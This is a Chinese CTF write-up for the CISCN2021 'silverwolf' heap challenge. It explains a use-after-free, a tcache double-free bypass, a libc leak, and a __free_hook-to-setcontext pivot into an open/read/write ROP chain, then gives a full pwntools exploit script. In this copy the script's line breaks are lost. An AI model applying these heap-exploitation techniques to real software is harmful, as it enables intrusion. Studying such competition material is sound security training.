CISCN2021 sliverwolf PWN400
2021-06-14 18:59:00 Author: mp.weixin.qq.com(查看原文) 阅读量:108 收藏

本文为看雪论坛优秀文章

看雪论坛作者ID:ScUpax0s

这道sliverwolf我个人觉得是中等偏上难度的堆题,很适合新手进阶训练,来分享一下我的题解。

一  题目概览

libc2.27的1.3版本,已经带了tcache的double free检测。需要通过破坏key来绕过double free检测。
开启了seccomp。以白名单的方式限制了只能是orw系统调用。


限制了chunk的大小不能申请大于0x78的。

二  漏洞位置

 
主要就是这个很明显的UAF漏洞。可以导致:
在突破tcache的double free检测后,可以连续double free。
可以通过show打印出已经被free后的chunk中的指针。
可以在free后去edit修改对应的指针内容。

三  利用思路

泄露libc

由于限制chunk的大小不能大于0x78,所以正常情况下没法去把一个chunk放入unsortedbin。

这里有两种思路:
1. 通过free+edit劫持tcache chunk的next指针指向tcache pthread(大小为0x250),然后申请出来,连续free他,直到填满tcahce被放入unsotedbin。
2. 在堆上伪造大的fakechunk,直接free掉fakechunk。
我这里采用1.

劫持free_hook

我们有了libc后,轻易的就可以将free_hook劫持为setcontext+53,而setcontext+53可以轻易的通过多次mov操作来重新设置寄存器,以rdi为base address来取值(类似srop),然后如果我们通过free操作,控制rdi指向的chunk首布置栈转移的chain,也就相当于可以控制了所有寄存器的值。此时完成了堆上orw的第一个准备。

分两次写入白名单orw链

在申请出来tcache pthread后我们可以对整个tcache的情况进行修改,而整个白名单orw链需要0xd8的空间,刚好比0x78+0x68大0x8。所以我们劫持tcahce pthread钟大小为0x80和0x70的tcahce的指针指向合适的地址,add0x68->写入orw1、add0x78->写入orw2,而orw1+orw2连续起来就是完成的堆上orw链。
 
最后free掉布置了栈转移的chunk即可,将rsp迁移到堆上orw链的起始位置。
 
这里需要注意:syscall;ret 这条指令直接拿ROPgadgets是搜不到的,我们直接将libc文件放入ida,根据他的编码:0x0f 0x05 0xc3在ida的binary search中搜索编码就能找到了。
 
2.27的orwHeap在:
https://blog.csdn.net/carol2358/article/details/108351308

这篇文章中有比较详细的描述,我就不从0讲了。

四  EXP

# encoding=utf-8from pwn import *from LibcSearcher import *s = lambda buf: io.send(buf)sl = lambda buf: io.sendline(buf)sa = lambda delim, buf: io.sendafter(delim, buf)sal = lambda delim, buf: io.sendlineafter(delim, buf)shell = lambda: io.interactive()r = lambda n=None: io.recv(n)ra = lambda t=tube.forever:io.recvall(t)ru = lambda delim: io.recvuntil(delim)rl = lambda: io.recvline()rls = lambda n=2**20: io.recvlines(n) libc_path = "./libc-2.27.so"elf_path = "./silverwolf_2"libc = ELF(libc_path)elf = ELF(elf_path)#io = remote("node3.buuoj.cn",26000)if sys.argv[1]=='1':    context(log_level = 'debug',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')elif sys.argv[1]=='0':    context(log_level = 'info',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')#io = process([elf_path],env={"LD_PRELOAD":libc_path})    cho='Your choice: '      # choice提示语siz='Size: '     # size输入提示语con='Content: '         # content输入提示语ind='Index: '      # index输入提示语edi=''          # edit输入提示语def add(index='',size='',c='1'):    sal(cho,c)    sal(ind,str(index))    sal(siz,str(size))def free(index,c='4'):    sal(cho,c)    sal(ind,str(index))def show(index,c='3'):    sal(cho,c)    sal(ind,str(index))def edit(index,content='',c='2'):    sal(cho,c)    sal(ind,str(index))    sa(con,content)# 获取pie基地址def get_proc_base(p):    proc_base = p.libs()[p._cwd+p.argv[0].strip('.')]    info(hex(proc_base)) # 获取libc基地址  def get_libc_base(p):    libc_base = p.libs()[libc_path]    info(hex(libc_base)) def clean():    for i in range(14):        add(0,0x18)     add(0,0x58)     for i in range(12):        add(0,0x68) def exp():    global io    #io = process(elf_path)    # get_proc_base(io)    # get_libc_base(io)    io = remote('124.70.110.211',23535)    clean()    add(0,0x78)     free(0)    show(0)    r(9)    raw = u64(r(6).ljust(8,'\x00'))    info("raw:"+hex(raw))   # pause()    heap = raw-0x1170    success("heap: "+hex(heap)) # 泄露了heapbase     edit(0,p64(heap+0x10)+p64(0)+'\n')    #free(0)     # 0x555555757e90    add(0,0x78)    add(0,0x78)  #这里申请到了tacahce pthread    #free(0)    edit(0,'\x00'*0x78)     for i in range(7):        free(0)        edit(0,p64(0)*2+'\n')     free(0)     # 将tacahce pthread放入ub    show(0)     r(9)    libc.address = u64(ru('\x7f').ljust(8,'\x00'))-96-0x10-libc.sym['__malloc_hook']    success("libc: "+hex(libc.address))    setcontext = libc.sym['setcontext']+53    free_hook = libc.sym['__free_hook']    success("free_hook:"+hex(free_hook))    success("setcontext:"+hex(setcontext))    #free(0)          #              0x48               0x58         0x68                   0x78    edit(0,p64(0x1)*8+p64(0)*3+p64(heap+0xef8)+p64(free_hook)+p64(heap+0xe18)+p64(heap+0xe80)+'\n')     # 准备打freehook,0xf20和0xe80是相邻的,用来写orw链    success("orw:"+hex(heap+0xe18))    add(0,0x58)                         # 把freehook申请出来    edit(0,p64(setcontext)+'\n')        # 改freehook为setcontext    #free(0)    add(0,0x48)     flag_addr = heap+0xf30    rsp = heap+0xe18    rbx = 0    rbp = 0    r12 = 0    r13 = 0    r14 = 0    pop_rdi = libc.address+0x00000000000215bf    stack_pivot = flat(        rbx,rbp,r12,r13,r14,        rsp+8,        pop_rdi,'./flag\x00'    )    info("stack_pivot len:"+hex(len(stack_pivot)))    edit(0,stack_pivot+'\n')    add(0,0x68)     # 申请出0x50的写orw1    flag_str_addr = heap+0xf30    pop_rdi = libc.address+0x00000000000215bf    pop_rsi = libc.address+0x0000000000023eea    syscall = 0xD2745+libc.address      #0x0f 0x05 0xc3    pop_rax = libc.address + 0x0000000000043ae8    pop_rdx_r10 = 0x0000000000130544+libc.address    flag_addr = heap+0x200    info(hex(pop_rdi)+' '+hex(pop_rsi))    orw1 = flat(        pop_rdi,        flag_str_addr,        pop_rsi,        0,        pop_rax,        2,        syscall,         pop_rdi,        3,        pop_rsi,        flag_addr,        pop_rdx_r10,        0x100,    )    edit(0,orw1+'\n')     add(0,0x78)    orw2 = flat(        0,        pop_rax,        0,        syscall,         pop_rdi,        1,        pop_rsi,        flag_addr,        pop_rdx_r10,        0x100,        0,        pop_rax,        1,        syscall    )    edit(0,orw2+'\n')     shell() exp()

- End -

看雪ID:ScUpax0s

https://bbs.pediy.com/user-home-876323.htm

  *本文由看雪论坛 ScUpax0s 原创,转载请注明来自看雪社区。

《安卓高级研修班》2021年6月班火热招生中!

# 往期推荐

公众号ID:ikanxue
官方微博:看雪安全
商务合作:[email protected]

球分享

球点赞

球在看

点击“阅读原文”,了解更多!


文章来源: http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458386740&idx=2&sn=974821d2231b56955a9f1a926aef72ba&chksm=b18f31be86f8b8a88beaa985cf4b6b1ee5e93b7596e2e8abdadd1ddd94eb036b241f9526f97b#rd
如有侵权请联系:admin#unsafe.sh